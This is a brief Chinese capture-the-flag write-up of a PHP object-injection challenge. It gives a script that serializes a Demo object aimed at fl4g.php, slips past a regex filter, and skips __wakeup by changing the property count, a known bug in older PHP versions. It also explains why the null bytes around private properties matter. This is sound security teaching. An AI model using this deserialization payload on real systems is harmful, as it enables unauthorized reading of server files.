| 1.代码审计
 ?发现必须构造Demo传入fl4g.php才能得到flag 同时要绕过匹配和反序列化的函数 2.构造绕过<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a = new Demo('fl4g.php');
$b = serialize($a);
$b = str_replace(':4',':+4',$b);//绕过匹配
$b = str_replace(':1:',':2:',$b);//绕过反序列化__wakeup函数
echo $b;
echo '<br>';
echo (base64_encode($b));
echo '<br>';
?>
  
 ?在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过。  
 这里我们要注意:这里的file变量为私有变量(protected变量应该也会),所以序列化之后的字符串开头结尾各有一个空白字符(即%00)   字符串长度也比实际长度大2,如果将序列化结果复制到在线的base64网站进行编码可能就会丢掉空白字符,从而得到错误的编码值 ?3.查看构造后的结果,并在传入var
 
 ? |